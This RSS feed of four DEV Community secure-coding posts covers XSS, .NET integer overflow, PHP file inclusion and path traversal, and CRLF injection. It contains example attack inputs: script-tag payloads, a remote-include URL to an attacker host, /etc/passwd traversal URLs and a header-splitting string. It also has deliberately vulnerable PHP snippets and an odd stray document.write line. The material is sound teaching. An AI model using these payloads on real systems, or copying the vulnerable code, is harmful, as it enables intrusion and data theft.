<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jason Sultana</title>
    <description>The latest articles on DEV Community by Jason Sultana (@jasonsultana).</description>
    <link>https://dev.to/jasonsultana</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F782994%2F9fe78a28-39bb-452b-bfca-d29eb108e97b.png</url>
      <title>DEV Community: Jason Sultana</title>
      <link>https://dev.to/jasonsultana</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jasonsultana"/>
    <language>en</language>
    <item>
      <title>Cross Site Scripting (XSS)</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Mon, 06 May 2024 03:41:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/cross-site-scripting-xss-58m7</link>
      <guid>https://dev.to/jasonsultana/cross-site-scripting-xss-58m7</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Continuing our coverage of various security vulnerabilities, today I wanted to review Cross Site Scripting, commonly abbreviated to XSS. While technically speaking there are probably a few different flavours of this, I’m going to focus on two types of XSS; stored and unstored.&lt;/p&gt;

&lt;h1&gt;
  
  
  Stored XSS
&lt;/h1&gt;

&lt;p&gt;Consider a social networking app where a user can make a post, and this post will appear in the timeline of all of their contacts. The backend logic for displaying posts might look something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    $posts = get_posts_for_user($user_id);

    foreach ($posts as $post) {
?&amp;gt;
    &amp;lt;div class="post"&amp;gt;
        &amp;lt;p class="post-username"&amp;gt;&amp;lt;?php echo $post-&amp;gt;username; ?&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;p class="post-body"&amp;gt;&amp;lt;?php echo $post-&amp;gt;body; ?&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;?php
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s very contrived, but hopefully you get the idea. The server-side code retrieves all of the relevant posts for the logged in user, loops over them and lists them one by one.&lt;/p&gt;

&lt;p&gt;Now consider what would happen if one of the user’s contacts submitted a post with the following content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Feeling hacky today!

&amp;lt;script&amp;gt;
    //
&amp;lt;/script&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whenever this post gets rendered by another user’s browser, the script tag will execute. I’ve left this blank for brevity, but a couple of examples of what it might do are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download a malicious file to the user’s computer&lt;/li&gt;
&lt;li&gt;Change the locally displayed content of other posts, or perhaps a post made by a specific person&lt;/li&gt;
&lt;li&gt;Deface the social media website&lt;/li&gt;
&lt;li&gt;Play some hidden media that the user can’t turn off&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the post got saved (aka stored) into the social networking application’s database, I’d classify this as a Stored XSS attack.&lt;/p&gt;

&lt;h1&gt;
  
  
  Unstored XSS
&lt;/h1&gt;

&lt;p&gt;Consider an online store that allows users to search for products. The search term is stored in the query string, so an example url might look like &lt;a href="https://www.youtube.com/shorts/41iWg91yFv0" rel="noopener noreferrer"&gt;https://www.onlinestore.com/search?q=Cool+products&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The server side code for the search page might look something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Search results for &amp;lt;?php echo $_GET['q']; ?&amp;gt;&amp;lt;/h3&amp;gt;
$results = do_search$($_GET['q']);

foreach ($results as $result) {
    // ...
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Given this, imagine that an attacker sent an email or other message to a targeted user including the following link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;a href="https://www.onlinestore.com/search?q=&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;"&amp;gt;Products on sale&amp;lt;/a&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once again, I’ve left the script tag empty for brevity, but we can imagine all sorts of things that an attacker might try here, like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Changing the html of the page to include or modify the product list&lt;/li&gt;
&lt;li&gt;Changing the links of the products to point to a phishing website&lt;/li&gt;
&lt;li&gt;Generally defacing the online store&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the malicious content comes from the query string instead of a database record and is therefore not ‘stored’, I’d classify it under the unstored category.&lt;/p&gt;

&lt;h1&gt;
  
  
  What exactly is ‘Cross Site’ about XSS?
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjason.sultana.net.au%2Fstatic%2Fimg%2Fvisible_confusion.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjason.sultana.net.au%2Fstatic%2Fimg%2Fvisible_confusion.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With these two examples, you might actually be looking a bit like Obi Wan here and wondering where ‘Cross Site Scripting’ got its name from, since there doesn’t seem to be anything inherently ‘Cross Site’ about the vulnerability. According to Wikipedia, XSS got its name since in the early days of the exploit being used, it was typically done by one website making a call to another. This is a bit of a misnomer though, since there doesn’t need to be a second website to take advantage of this vulnerability.&lt;/p&gt;

&lt;h1&gt;
  
  
  Prevention
&lt;/h1&gt;

&lt;p&gt;While the appropriate prevention will likely depend on context, I’d recommend starting with the following 2 options:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Always encode non-trusted input if it must be displayed, such that &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; will be encoded to &lt;code&gt;&amp;amp;lt;script&amp;amp;gt;&lt;/code&gt; and simply displayed instead of executed as a script tag.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If the user-submitted input must be displayed verbatim (eg: a forum that allows users to style their posts), consider using an HTML Sanitisation tool that supports a whitelist of allowed elements and attributes. User-submitted input that violates the configuration of the HTML Sanitiser should be rejected.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One thing that I wouldn’t recommend is trying to pre-emptively sanitize all incoming requests like I mentioned in &lt;a href="///dotnet/security/apis/2021/09/26/preventing-xss-in-netcore-webapi.html"&gt;Preventing XSS in .NET Core WebAPI&lt;/a&gt;. In practice, I’ve found this to not be feasible and that simply encoding data on the way out tends to be the better approach.&lt;/p&gt;

&lt;p&gt;document.write(‘Damn’); &lt;/p&gt;

&lt;p&gt;And that about wraps me up! Have you guys ever run into an XSS vulnerability out there in the wild, or do you have any other tools for preventing XSS that I haven’t mentioned? Let me know in the comments.&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
    </item>
    <item>
      <title>Integer overflow vulnerabilities in .NET</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sun, 07 Apr 2024 03:41:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/integer-overflow-vulnerabilities-in-net-l78</link>
      <guid>https://dev.to/jasonsultana/integer-overflow-vulnerabilities-in-net-l78</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Continuing with our exploration of various security vulnerabilities from a software developer’s perspective, I thought we could switch gears for a minute and look at something that affects (or has the potential to affect) .NET and other strongly typed applications.&lt;/p&gt;

&lt;h1&gt;
  
  
  Picking on .NET now, are we?
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PoIcxEuM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/how_dare_you.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PoIcxEuM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/how_dare_you.png" alt="" width="500" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not specifically - likely any strongly typed language would be susceptible to this, and since we focused on PHP in the last article, it’s only fair to mix it up.&lt;/p&gt;

&lt;h1&gt;
  
  
  Alright already, show us the vulnerability
&lt;/h1&gt;

&lt;p&gt;Imagine a code block that looks something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;int a = 257;
byte b = (byte)a;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What do you think the value of &lt;code&gt;b&lt;/code&gt; will be? Spoiler alert: it’s actually 1. As we know, a byte has 8 bits, and holds a range from 0 to 255. With 255, all 8 bits will be turned on, so it’s binary representation will look like 1111 1111. For a value of 257 though, it’d look like 1 0000 0001. Since the byte only holds 8 bits, the leading 1 will get stripped off, leaving just the trailing 1, so we end up with a value of 1 instead of 257.&lt;/p&gt;

&lt;h1&gt;
  
  
  Duh. How is that a vulnerability, though?
&lt;/h1&gt;

&lt;p&gt;Well, imagine that you were doing something similar to this in your application, and that an attacker was able to manipulate the value of &lt;code&gt;a&lt;/code&gt;. &lt;code&gt;a&lt;/code&gt; here could represent a Price Id, Invoice Id, User Id or any other entity. By forcing the integer overflow to produce the value 1, the attacker could set the entity id to 1, which is likely the first record added to the system in databases that use auto-incrementing IDs. Some possible results might be that they could end up with elevated priveleges or free products.&lt;/p&gt;

&lt;h1&gt;
  
  
  Okay, that makes sense. But surely libraries and frameworks already handle this?
&lt;/h1&gt;

&lt;p&gt;Somewhat. I did actually stumble upon this in practice back in .NET Framework land many years ago, but from my quick tests earlier, it looks like model binding in .NET Core has improved. These were what I noticed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Library&lt;/th&gt;
&lt;th&gt;Overflow effect&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;.NET Core MVC&lt;/td&gt;
&lt;td&gt;Resets to zero&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.NET Core Web Api&lt;/td&gt;
&lt;td&gt;Deserialization error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Newtonsoft.Json&lt;/td&gt;
&lt;td&gt;Deserialization error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;System.Text.Json&lt;/td&gt;
&lt;td&gt;Deserialization error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CsvHelper&lt;/td&gt;
&lt;td&gt;Deserialization error&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As you can see, it looks like most packages and frameworks will raise an error (or just default to zero) when an overflow is about to take place. Having said that, it’s probably still best not to rely on this and of course you’re not protected when doing any manual mapping or manual deserialization.&lt;/p&gt;

&lt;h1&gt;
  
  
  Fair enough! So how do we prevent it?
&lt;/h1&gt;

&lt;p&gt;There are 3 approaches you could employ.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Manually check that the value is in range before copying it.
&lt;/h2&gt;

&lt;p&gt;Coming back to our earlier example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;int a = 257;
byte b = (byte)a;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One thing we could do is to verify that &lt;code&gt;a&lt;/code&gt; is within the range of a byte before performing the assignment to &lt;code&gt;b&lt;/code&gt;. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (a &amp;lt; byte.MinValue || a &amp;gt; byte.MaxValue)
{
    throw new OverflowException($"{nameof(a)} was outside the bounds of a byte.");
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a bit clunky though, especially if we’d have to repeat this logic throughout multiple parts of the codebase. Onto option 2!&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Use a checked block
&lt;/h2&gt;

&lt;p&gt;Another thing we could do is to have the compiler perform these checks for us by wrapping overflow-sensitive logic in a checked block. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;checked
{
    int a = 257;
    byte b = (byte)a;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the runtime will produce an &lt;code&gt;OverflowException&lt;/code&gt; for any overflows (or underflows) that occur within the &lt;code&gt;checked&lt;/code&gt; block. You might be wondering though, if your codebase does this a lot, if there’s a way to make this the default for the entire project.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UEhd_0F_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/and-there-is-kevin.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UEhd_0F_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://jason.sultana.net.au/static/img/and-there-is-kevin.gif" alt="" width="400" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Turn on &lt;code&gt;CheckForOverflowUnderflow&lt;/code&gt; in the project settings
&lt;/h2&gt;

&lt;p&gt;In your &lt;code&gt;csproj&lt;/code&gt; file, add &lt;code&gt;&amp;lt;CheckForOverflowUnderflow&amp;gt;true&amp;lt;/CheckForOverflowUnderflow&amp;gt;&lt;/code&gt; to enable overflow checks for the entire codebase. There is of course the question of will this hurt application performance. I haven’t tested this myself, but I imagine if your project happens to be performing a lot of overflow/underflow checks already anyway, then this could be a wortwhile option to consider.&lt;/p&gt;

&lt;p&gt;And that’s it for this write-up. Thanks for reading, and see you all next time.&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>security</category>
      <category>dotnet</category>
    </item>
    <item>
      <title>File Injection and Path Traversal vulnerabilities</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Mon, 11 Mar 2024 09:07:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/file-injection-and-path-traversal-vulnerabilities-5agf</link>
      <guid>https://dev.to/jasonsultana/file-injection-and-path-traversal-vulnerabilities-5agf</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;Following on from my &lt;a href="https://jason.sultana.net.au/security/2024/02/04/newline-injection.html"&gt;last post&lt;/a&gt; where we looked at Newline Injection, today I wanted to review a couple of other injection-style vulnerabilities in what might be an innocent-looking little snippet. I’ll be using PHP in this example, but these same vulnerabilities could exist in any web application, regardless of the language being used. Imagine a blog, online store or other simple-ish application with urls looking something like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://my-site.com/?page=home.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://my-site.com/?page=about.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://my-site.com/?page=post-2024-01-02-03.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Internally, we could have an &lt;code&gt;index.php&lt;/code&gt; file with something similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php
    $page = $_GET['page'];
    include($page);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I imagine that most of you are gasping in horror at the blatantly obvious secuity hole here. Or if you’re starting out in your career, or haven’t specifically read up on injection vulnerabilities, the security hole may not be so obvious. I can certainly forgive you if that’s the case, and I’ll admit that I almost certainly would have written something like this in my younger years. For the more experienced reader though, I’ll ask a different question - &lt;em&gt;how many&lt;/em&gt; security vulnerabilities can you spot here? Spoiler alert: There are 3 vulnerabilities in 2 lines of code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mTIP_5d3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/three-vulnerabilities-gollum.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mTIP_5d3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/three-vulnerabilities-gollum.jpg" alt="" width="530" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Local File Injection
&lt;/h1&gt;

&lt;p&gt;Since the vulnerable code is including any file specified in the GET parameter, a malicious user could specify any local file on the server and have its contents executed by the PHP interpreter (or returned as output). For example, imagine an XML database sitting in the same directory as the index file. An attacker could gain access to said database just by loading &lt;code&gt;https://my-site.com/?page=database.xml&lt;/code&gt; in their browser.&lt;/p&gt;

&lt;p&gt;As for executing malicious code - chances are there isn’t any malicious code already on the remote server. But if the application included an upload file feature, a user could upload &lt;code&gt;malicious-code.php&lt;/code&gt; and then execute it by navigating to &lt;code&gt;https://my-site.com/?page=malicious-code.php&lt;/code&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Remote File Injection
&lt;/h1&gt;

&lt;p&gt;Okay - let’s say that there isn’t an upload feature, and the attacker really wanted to run some malicious code on the server. Another thing they could try is to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Upload some malicious code to a server that they conrol&lt;/li&gt;
&lt;li&gt;Navigate to &lt;code&gt;https://my-site.com/?page=http://attackers-site.com/malicious-code.php&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When I tried this in a local XAMPP installation, I got:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in &amp;lt;path-to-ini-file&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So thankfully the default config prevents remote file execution by default, but that may not always be the case, and it’s probably a good idea to assume that the config has this enabled, and to protect against Remote File Injection in the application logic as well.&lt;/p&gt;

&lt;h1&gt;
  
  
  Path Traversal
&lt;/h1&gt;

&lt;p&gt;There’s one last vulnerability here - Path Traversal. Imagine navigating to some urls like the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;https://my-site.com/?page=../../etc/php.ini&lt;/code&gt; - a relative path, to obtain the PHP configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;http://my-site.com/?page=/etc/passwd&lt;/code&gt; - an absolute path, to obtain information about user accounts on the server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This exploit basically allows the attacker to navigate to files outside of the web server’s directory (eg: htdocs) to either view or execute files that they normally should not be able to access.&lt;/p&gt;

&lt;h1&gt;
  
  
  Prevention?
&lt;/h1&gt;

&lt;p&gt;There are a few ways to deal with all three of these vulnerabilities, but at their core, I think that all of them (along with almost all other injection attacks) can be prevented by following the maxim of &lt;strong&gt;never trust user input&lt;/strong&gt;. That is, if we come back to our snippet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php
    $page = $_GET['page'];
    include($page);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since a GET parameter, POST parameter, route parameter, HTTP header, etc can all be tampered with by the user, we should treat them as suspicious by default. Some options for workarounds might be:&lt;/p&gt;

&lt;p&gt;1) Store a whitelist of permitted files, and validate the user-submitted input (i.e - the GET param) against the whitelist before including it. Eg:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php
    $page = $_GET['page];
    if (!is_in_whitelist($page))
        die('Wicked! Tricksy! False!');

    include($page);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2) Or even better, instead of accepting a filename in the GET param, accept a page ID, and look up the filename in a lookup table or database based on the provided page ID. Eg:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php
    $page_id = $_GET['page_id'];
    $page = get_page_by_id($page_id);
    if (!$page)
        die('Wicked! Tricksy! False!');

    include($page);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Useful reading
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/stable/4-Web%5C_Application%5C_Security%5C_Testing/07-Input%5C_Validation%5C_Testing/11.1-Testing%5C_for%5C_Local%5C_File%5C_Inclusion"&gt;https://owasp.org/www-project-web-security-testing-guide/stable/4-Web\_Application\_Security\_Testing/07-Input\_Validation\_Testing/11.1-Testing\_for\_Local\_File\_Inclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/stable/4-Web%5C_Application%5C_Security%5C_Testing/07-Input%5C_Validation%5C_Testing/11.2-Testing%5C_for%5C_Remote%5C_File%5C_Inclusion"&gt;https://owasp.org/www-project-web-security-testing-guide/stable/4-Web\_Application\_Security\_Testing/07-Input\_Validation\_Testing/11.2-Testing\_for\_Remote\_File\_Inclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-community/attacks/Path%5C_Traversal"&gt;https://owasp.org/www-community/attacks/Path\_Traversal&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And that’s about it! Have I missed any vulnerabilities here, or do you have any other advice for prevention? Let me know in the comments.&lt;/p&gt;

&lt;p&gt;Catch ya!&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
    </item>
    <item>
      <title>Reviewing Newline Injection</title>
      <dc:creator>Jason Sultana</dc:creator>
      <pubDate>Sun, 04 Feb 2024 05:39:00 +0000</pubDate>
      <link>https://dev.to/jasonsultana/reviewing-newline-injection-51hl</link>
      <guid>https://dev.to/jasonsultana/reviewing-newline-injection-51hl</guid>
      <description>&lt;p&gt;G’day guys!&lt;/p&gt;

&lt;p&gt;If you’ve been following my blog for a while or happen to know me in person, you’ll know that I’m a big advocate of certifications. They can be a bit divisive, but you can read my arguments &lt;em&gt;for&lt;/em&gt; getting certified &lt;a href="https://jason.sultana.net.au/career/others/2020/12/18/five-reasons-you-should-get-certified.html"&gt;here&lt;/a&gt;. Anyway, I’ve been knee-deep in ElasticSearch for a while, and since I finally passed the Elastic Certified Engineer exam last November, I decided to dedicate 2024 to security and secure coding. I’m thinking once every couple of weeks, I’ll do a little write up of whatever secure coding topic I’m looking into and put it up here, just for the unlikely event that it benefits someone else - or to remind myself of some detail if I’ve forgotten about it later. Our first topic: CRLF injection, aka Newline Injection!&lt;/p&gt;

&lt;h1&gt;
  
  
  CRLF-a-what now?
&lt;/h1&gt;

&lt;p&gt;Just in case you’re not familiar with the acronyms, &lt;code&gt;CR&lt;/code&gt; refers to a &lt;em&gt;Carriage Return&lt;/em&gt; (the &lt;code&gt;\r&lt;/code&gt; escape character) and &lt;code&gt;LF&lt;/code&gt; refers to a &lt;em&gt;Line Feed&lt;/em&gt; (the &lt;code&gt;\n&lt;/code&gt; escape character). But I find &lt;em&gt;CRLF Injection&lt;/em&gt; to be a bit of a mouthful, and &lt;em&gt;Newline Injection&lt;/em&gt; seems to roll off the tongue a bit easier.&lt;/p&gt;

&lt;h1&gt;
  
  
  Wait, you’re telling me that new lines are dangerous?
&lt;/h1&gt;

&lt;p&gt;Kind of. Just try to imagine all of the different things that contain a &lt;em&gt;semantic&lt;/em&gt; new line, especially in the context of web applications. That is to say, things where a new line carries some kind of meaning to the system that interprets it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Server Logs
&lt;/h2&gt;

&lt;p&gt;Your application server logs will of course vary to some extent, but chances are they’ll look something like this. The important thing is that, they’re (typically) separated by a new line such that each distinct line indicates a new distinct log message.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3JIyaCMO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/log-file.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3JIyaCMO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/log-file.png" alt="" width="800" height="726"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  SMTP Messages
&lt;/h2&gt;

&lt;p&gt;As shown below, SMTP messages (at least, the payload that’s sent after the initial handshake) have headers such as subject, from, to, etc separated by newlines.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2M3ka3X3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/smtp-message.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2M3ka3X3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/smtp-message.png" alt="" width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In fact, this probably sounds awfully familiar to another common protocol used in web technologies…&lt;/p&gt;

&lt;h2&gt;
  
  
  HTTP Messages
&lt;/h2&gt;

&lt;p&gt;HTTP messages (both requests, and responses) also contain headers that are separated by newlines.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---JfQRd5N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/http-message.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---JfQRd5N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://jason.sultana.net.au/static/img/http-message.png" alt="" width="800" height="262"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Fair enough. So what makes this a problem?
&lt;/h1&gt;

&lt;p&gt;Let’s just imagine that we have a web application that allows users to publish blog posts, and the response for viewing a blog post looked something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234
X-Author: John Doe

...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the application is returning the name of the author of the post in the &lt;code&gt;X-Author&lt;/code&gt; HTTP header. The name of the author is of course entered by the user at some point, so just imagine if instead of submitting &lt;em&gt;John Doe&lt;/em&gt;, they submit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;John Doe\r\n\r\n&amp;lt;script&amp;gt;alert('You\'ve been hacked!');&amp;lt;/script&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The extra two lines after the fake user name would cause whatever follows to be interpreted as the start of the HTTP response body, and then rendered by the browser. Just imagine what our mischievous friend John could include instead of the innocent alert we’ve demonstrated here. This particular exploit, when applied to HTTP response messages is referred to as &lt;em&gt;HTTP Response Splitting&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This sort of vulnerability, in theory, applies to anything that uses newlines in a meaningful way. In the case of an SMTP message, if the message contains a user-submitted value in the subject for example, a bad actor could use newline injection to include a Reply-To header, or provide their own message body. Or in the case of server log messages, a bad actor could include newline characters to add their own fake log messages to the log file.&lt;/p&gt;

&lt;h1&gt;
  
  
  Hold up, shouldn’t my framework or client library handle this for me?
&lt;/h1&gt;

&lt;p&gt;In my limited amount of testing (in NodeJS), I did find that most client libraries, along with the Express framework did protect against this sort of attack. Having said that, it’s probably not a good idea to &lt;em&gt;rely&lt;/em&gt; on your client library, since you never know if/when a bad commit might get pushed which introduces a regression in the client library. In fact, &lt;a href="https://www.safebreach.com/blog/http-response-splitting-in-node-js-root-cause-analysis/"&gt;this sort of thing did indeed happen in NodeJS&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  So what’s the answer?
&lt;/h1&gt;

